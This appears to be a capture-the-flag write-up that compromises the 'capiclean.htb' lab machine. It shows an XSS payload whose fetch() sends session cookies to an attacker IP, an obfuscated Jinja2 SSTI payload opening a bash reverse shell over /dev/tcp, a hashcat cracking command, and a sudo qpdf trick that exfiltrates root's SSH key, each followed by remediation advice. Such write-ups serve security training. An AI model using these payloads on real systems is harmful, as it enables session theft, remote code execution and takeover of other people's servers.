Enumeration

Firstly, we run an nmap scan to get a list of open ports and detect services.

# Nmap 7.94SVN scan initiated Mon Jul 22 15:41:56 2024 as: nmap -sS -sV -sC -O -oN scan_full.log -p- -T4 -Pn -v 10.129.25.9
Nmap scan report for 10.129.25.9
Host is up (0.11s latency).
Not shown: 65478 closed tcp ports (reset), 55 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_  256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesnt have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=7/22%OT=22%CT=1%CU=38286%PV=Y%DS=2%DC=I%G=Y%TM=669D
OS:F3F5%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=103%TI=Z%TS=A)SEQ(SP=102
OS:%GCD=1%ISR=103%TI=Z%CI=Z%TS=A)SEQ(SP=106%GCD=1%ISR=109%TI=Z%CI=Z%TS=A)OP
OS:S(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST
OS:11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)EC
OS:N(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=
OS:Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=N)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q
OS:=)T6(R=Y%DF=Y%T=40%W=0%S=O%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A
OS:=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%R
OS:UCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 6.647 days (since Tue Jul 16 00:21:38 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

This is typical of a Linux web server; only 2 ports, 80 for the web server and 22 for administration via SSH.

It’s unlikely to brute force SSH since it is slow and limits concurrent connections so our only choice is to analyze the web server more.

When we view the website, we immediately get redirected to capiclean.htb so we must add this to our /etc/hosts.

The website is for a cleaning company and it displays the names of some of their workers (which we record just in case we need them later). There’s not much functionality for us to exploit besides a login page and a request for a quote.

Exploiting the Web Application

We can try all the usual stuff like some default credentials for the login but these fail and we can try some SQL injections, all of which fail too. The login functionality is not likely to be exploitable by brute force as we don’t know the username format, despite knowing some potential users. We also don’t know if there is any account lockout so it’s impractical for several reasons.

We move on to the quote functionality and see that the request has a few properties such as email and service type (service param). Presumably, there is some user on the other end viewing these quotes, and probably via a web interface. Under this presumption, we try a few XSS payloads after standing up a web server. After a few attempts, we find a payload that works. This is an example of the request:

POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 123
Origin: http://capiclean.htb 
Connection: keep-alive
Referer: http://capiclean.htb/quote
Upgrade-Insecure-Requests: 1

service=Office+Cleaning<img+src%3dx+onerror%3dfetch("http%3a//IP%3aPORT/"%2bdocument.cookie)+/>&email=e%40mail.com

Note: IP and PORT must be changed

It seems that every minute or so, someone is checking the quote screen and triggering the XSS exploit and sends their cookie. This cookie can be added to the current session in session=<cookie> via the browser tools, or use the cookie-editor extension. With this in our session, we can now navigate to the /dashboard endpoint at capiclean.htb and are successfully logged in.

XSS can be remediated by sanitizing user input. Given the input is meant to be from three options, there should be an allow list of only those 3 options. Anything else should raise red flags for a monitoring system.

We now have access to several bits of functionality:

  • Generate Invoice
  • Generate QR
  • Edit Services
  • Quote Requests

Looking at Quote Requests, we can trigger a server 500 error so it looks like that bit is broken.

Edit services looks like it gives the ability to change the prices of services, which doesn’t mean much to us right now. Even if we could inject more XSS attacks here, it won’t move us laterally or privilege escalate our current position.

Generate QR requires an invoice ID which we don’t currently have which leaves us with Generate Invoice. Generate Invoice requires us to fill out information about a cleaning service, and when we do, it generates an Invoice ID, which we can take back to the Generate QR code functionality.

Initially, I researched some QR code generators thinking there might be some materialization/deserialization vulnerabilities but I found none that would be relevant here. Looking more closely at the web page technology, it becomes apparent that the site is a Python application. Python applications, like many other types of web application, use a templating engine to render pages. I used the wappalyzer browser extension to identify the technology on the page.

One of the most common issues with templating engines is what is known as Server Side Template Injection (SSTI). As the name suggests, it is a class of injection vulnerability where an attacker can ‘inject’ their code into the template and have it executed on the server. Typically, a templating engine will allow you to pass special syntax to it to access resources in the code. The intention is usually for simple data requests like maybe the time, or a property on a data model used in that area of code. This is dynamically reflected back into the rendered HTML. The unintended side effect is that more clever payloads can be crafted to get Remote Code Execution (RCE) or just information disclosure.

After playing around with many of the request parameters to various endpoints in the application, it turns out that sending {{7*7}} to the qr_link property of the POST /QRGenerator endpoint would reflect 47 inside the HTML tag for the image data in the resultant invoice. Since we have control of an input that is known to be rendered by the template engine, we have a way to try and get RCE on the machine. The information from HackTricks on SSTI gives us all the information to craft a payload to get a reverse shell. https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti

I used this request to gain RCE:

POST /QRGenerator HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 326
Origin: http://capiclean.htb
Connection: keep-alive
Referer: http://capiclean.htb/QRGenerator
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.Zp3vYw.zzXqAvGRz57o-Jr4Gfep7zA5BKY
Upgrade-Insecure-Requests: 1

invoice_id=&form_type=scannable_invoice&qr_link={{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('bash+-c+"exec+bash+-i+%26>/dev/tcp/IP/PORT+<%261"shell')|attr('read')()}}

Note: IP and PORT must be changed

SSTI, like all injections, can be remediated by sanitizing user inputs. In this case, there seems to be some kind of filtering in play that requires us to further obfuscate our payload. Always consider implementing an allow list in filtering as opposed to a deny list. Tighter controls usually offer better security. In this case, the parameter requires a link, so the allow list should only allow input that adheres to the shape of a link.

Escalation from www-data to consuela

Once on the machine as the www-data user, we can enumerate the host for a way to privilege escalate. In our current directory, we have the app.py file which is the main application code file. In this file, we find credentials for the MySQL database:

cat app.py

...
# Database Configuration
db_config = {
    'host': '127.0.0.1',
    'user': 'iclean',
    'password': 'pxCsmnGLckUb',
    'database': 'capiclean'
}
...

Enumerating this database is straight forward as it has a users table with a hashed password of consuela who is also a user on the machine. We can assume the database is MySQL because netstat -nltp reveals we are listening on 127.0.0.1:3306 which is the typical MySQL port. We get access to it via mysql -u iclean -p and execute the following:

show databases;
use capiclean;
show tables;
select username, password from users;
+----------+------------------------------------------------------------------+
| username | password                                                         |
+----------+------------------------------------------------------------------+
| admin    | 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 |
| consuela | 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa |
+----------+------------------------------------------------------------------+

This password is trivial to crack with hashcat using the rockyou password list:

hashcat -m 1400 -O consuela_hash /usr/share/wordlists/rockyou.txt

Escalation from consuela to root

Using this password for consuela, we can now log in as this user using SSH.

One of the first things you should check when you are on a Linux machine as a user you know the password for is what you can run as sudo as this can be a quick win. In this case, we are lucky that it is the intended privilege escalation path:

[sudo] password for consuela:
Matching Defaults entries for consuela on iclean:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User consuela may run the following commands on iclean:
    (ALL) /usr/bin/qpdf

I had no idea what qpdf is. Sometimes, these things are bash scripts, but running file revealed that it’s a compiled executable:

/usr/bin/qpdf: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3258afca8e62defce21bdbbbc7937b057e62388d, for GNU/Linux 3.2.0, stripped

I Googled what qpdf is and had to read through documentation. Reading this, https://qpdf.readthedocs.io/en/stable/cli.html#embedded-files-attachments, reveals that it can pull other local docs in as attachments. Given it runs with the permissions of the root user because it can be run with sudo, we can try to pull in something only the root user can read, such as it’s id_rsa. If we can grab that, then we can probably log in as root without knowing it’s password if SSH is configured for it. Playing around with qpdf took a while but eventually this worked for me:

sudo /usr/bin/qpdf --qdf --add-attachment /root/.ssh/id_rsa -- --empty ./id_rsa.pdf
  • --qpdf makes the resultant file editable by a text editor. This allows us to read the resulting id_rsa.pdf through cat and do a simple copy-paste to extract the id_rsa private key data.
  • --add-attachment pulls in the root user’s id_rsa which we wanted embedded in the output file
  • -- --empty begins the properties for the output file and specifying empty means that the output file is not based on an input file. Basically, a blank document.

Using the resultant id_rsa does indeed allow us to log in as root to the target and we have successfully completed the machine.

Simple remediation to is to prevent consuela running qpdf as root. It isn’t the kind of application that should normally require root but this would need to be understood based on wider business considerations. In the case where it needs to be run as root, understanding the exact requirements for what that command is should be factored into what is allowed to be run as sudo. For example, it would be possible to prevent the use of the --add-attachment flag which could prevent the primary exploit issue, being able to add the root user’s id_rsa as an attachment.